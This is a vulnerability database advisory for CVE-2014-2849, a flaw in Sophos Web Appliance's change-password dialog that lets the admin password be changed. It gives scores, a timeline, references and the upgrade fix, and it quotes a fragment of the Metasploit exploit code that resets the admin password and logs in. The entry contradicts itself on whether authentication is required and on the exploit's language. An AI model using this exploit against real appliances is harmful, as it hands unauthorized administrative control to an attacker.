Sophos Web Appliance up to 3.8.1 Change Password Dialog Box /index.php c access control

CVSS Meta Temp Score
CVSS is a standardized scoring system to determine possibilities of attacks. The Temp Score considers temporal factors like disclosure, exploit and countermeasures. The unique Meta Score calculates the average score of different sources to provide a normalized scoring system.
Current Exploit Price (≈)
Our analysts are monitoring exploit markets and are in contact with vulnerability brokers. The range indicates the observed or calculated exploit price to be seen on exploit markets. A good indicator to understand the monetary effort required for and the popularity of an attack.
CTI Interest Score
Our Cyber Threat Intelligence team is monitoring different web sites, mailing lists, exploit markets and social media networks. The CTI Interest Score identifies the interest of attackers and the security community for this specific vulnerability in real-time. A high score indicates an elevated risk to be targeted for this vulnerability.
6.7$0-$5k0.09

Summaryinfo

A vulnerability described as critical has been identified in Sophos Web Appliance up to 3.8.1. Impacted is an unknown function of the file /index.php of the component Change Password Dialog Box. The manipulation of the argument c with the input change_password results in access control. This vulnerability is cataloged as CVE-2014-2849. Furthermore, there is an exploit available. Upgrading the affected component is recommended.

Detailsinfo

A vulnerability, which was classified as critical, was found in Sophos Web Appliance up to 3.8.1. Affected is an unknown code block of the file /index.php of the component Change Password Dialog Box. The manipulation of the argument c with the input value change_password leads to a access control vulnerability. CWE is classifying the issue as CWE-264. This is going to have an impact on integrity. CVE summarizes:

The Change Password dialog box (change_password) in Sophos Web Appliance before 3.8.2 allows remote authenticated users to change the admin user password via a crafted request.

The weakness was shared 04/09/2014 by Brandon Perry as Article 120230 as confirmed advisory (Website) via Zero Day Initiative (ZDI). The advisory is shared for download at sophos.com. The vendor cooperated in the coordination of the public release. This vulnerability is traded as CVE-2014-2849 since 04/11/2014. The exploitability is told to be easy. It is possible to launch the attack remotely. The exploitation doesn't require any form of authentication. Technical details and a public exploit are known. The MITRE ATT&CK project declares the attack technique as T1068.

A public exploit has been developed by metasploit in Python and been published 1 days after the advisory. The exploit is shared for download at exploit-db.com. It is declared as highly functional. The vulnerability was handled as a non-public zero-day exploit for at least 26 days. During that time the estimated underground price was around $0-$5k. By approaching the search of inurl:index.php it is possible to find vulnerable targets with Google Hacking. The code used by the exploit is:

passchange = send_request_cgi({
  'uri' => normalize_uri(target_uri.path, '/index.php?c=change_password'),
  'method' => 'POST',
  'vars_post' => post
})
 
if !passchange or passchange.code != 200
  fail_with("Couldn't update admin's password")
end
 
print_status("Logging in as the admin now")
init = send_request_cgi({
  'uri' => normalize_uri(target_uri.path, 'index.php')
})
 
if !init or init.code != 200
  fail_with("Couldn't reget index page for admin auth")
end
 
init.body.each_line do |line|
  next if line !~ /name="STYLE" value="(.*)"/
  style = $1
end
 
post = {
  'STYLE' => style,
  'destination' => '',
  'section' => '',
  'username' => 'admin',
  'password' => 'notpassword'
}
 
login = send_request_cgi({
  'uri' => normalize_uri(target_uri.path, 'index.php?c=login'),
  'method' =>  'POST',
  'vars_post' => post
})

Upgrading to version 3.8.2 eliminates this vulnerability. A possible mitigation has been published even before and not after the disclosure of the vulnerability.

The vulnerability is also documented in the databases at X-Force (92379), Exploit-DB (32789), SecurityFocus (BID 66734†), OSVDB (105636†) and Secunia (SA57706†). Further details are available at zerodayinitiative.com. The entry VDB-69306 is related to this item. VulDB is the best source for vulnerability data and more expert information about this specific topic.

Productinfo

Vendor

Name

Version

License

Website

CPE 2.3info

CPE 2.2info

CVSSv4info

VulDB Vector: 🔍
VulDB Reliability: 🔍

CVSSv3info

VulDB Meta Base Score: 7.5
VulDB Meta Temp Score: 6.7

VulDB Base Score: 7.5
VulDB Temp Score: 6.7
VulDB Vector: 🔍
VulDB Reliability: 🔍

CVSSv2info

AVACAuCIA
💳💳💳💳💳💳
💳💳💳💳💳💳
💳💳💳💳💳💳
VectorComplexityAuthenticationConfidentialityIntegrityAvailability
UnlockUnlockUnlockUnlockUnlockUnlock
UnlockUnlockUnlockUnlockUnlockUnlock
UnlockUnlockUnlockUnlockUnlockUnlock

VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍

NVD Base Score: 🔍

Exploitinginfo

Class: Access control
CWE: CWE-264
CAPEC: 🔍
ATT&CK: 🔍

Physical: No
Local: No
Remote: Yes

Availability: 🔍
Access: Public
Status: Highly functional
Author: metasploit
Programming Language: 🔍
Download: 🔍
Google Hack: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Price Prediction: 🔍
Current Price Estimation: 🔍

0-DayUnlockUnlockUnlockUnlock
TodayUnlockUnlockUnlockUnlock

MetaSploit ID: sophos_wpa_iface_exec.rb
MetaSploit Name: Sophos Web Protection Appliance Interface Authenticated Arbitrary Command Execution
MetaSploit File: 🔍

Exploit-DB: 🔍

Threat Intelligenceinfo

Interest: 🔍
Active Actors: 🔍
Active APT Groups: 🔍

Countermeasuresinfo

Recommended: Upgrade
Status: 🔍

Reaction Time: 🔍
0-Day Time: 🔍
Exploit Delay Time: 🔍

Upgrade: Web Appliance 3.8.2

Timelineinfo

11/06/2013 🔍
12/02/2013 +26 days 🔍
04/08/2014 +127 days 🔍
04/09/2014 +1 days 🔍
04/09/2014 +0 days 🔍
04/10/2014 +1 days 🔍
04/10/2014 +0 days 🔍
04/10/2014 +0 days 🔍
04/11/2014 +1 days 🔍
04/11/2014 +0 days 🔍
04/11/2014 +0 days 🔍
07/06/2025 +4104 days 🔍

Sourcesinfo

Vendor: sophos.com

Advisory: Article 120230
Researcher: Brandon Perry
Status: Confirmed
Confirmation: 🔍
Coordinated: 🔍

CVE: CVE-2014-2849 (🔍)
GCVE (CVE): GCVE-0-2014-2849
GCVE (VulDB): GCVE-100-12864
X-Force: 92379 - Sophos Web Appliance change_password security bypass, High Risk
SecurityFocus: 66734 - Sophos Web Appliance Privilege Escalation and Remote Code Execution Vulnerabilities
Secunia: 57706 - Sophos Web Appliance Security Bypass Vulnerability, Less Critical
OSVDB: 105636
SecurityTracker: 1030064

scip Labs: https://www.scip.ch/en/?labs.20161013
Misc.: 🔍
See also: 🔍

Entryinfo

Created: 04/10/2014 14:31
Updated: 07/06/2025 05:27
Changes: 04/10/2014 14:31 (91), 04/01/2019 11:21 (3), 07/06/2025 05:27 (21)
Complete: 🔍
Cache ID: 216:A2B:103

VulDB is the best source for vulnerability data and more expert information about this specific topic.

Discussion

No comments yet. Languages: en.

Please log in to comment.

Do you know our Splunk app?

Download it now for free!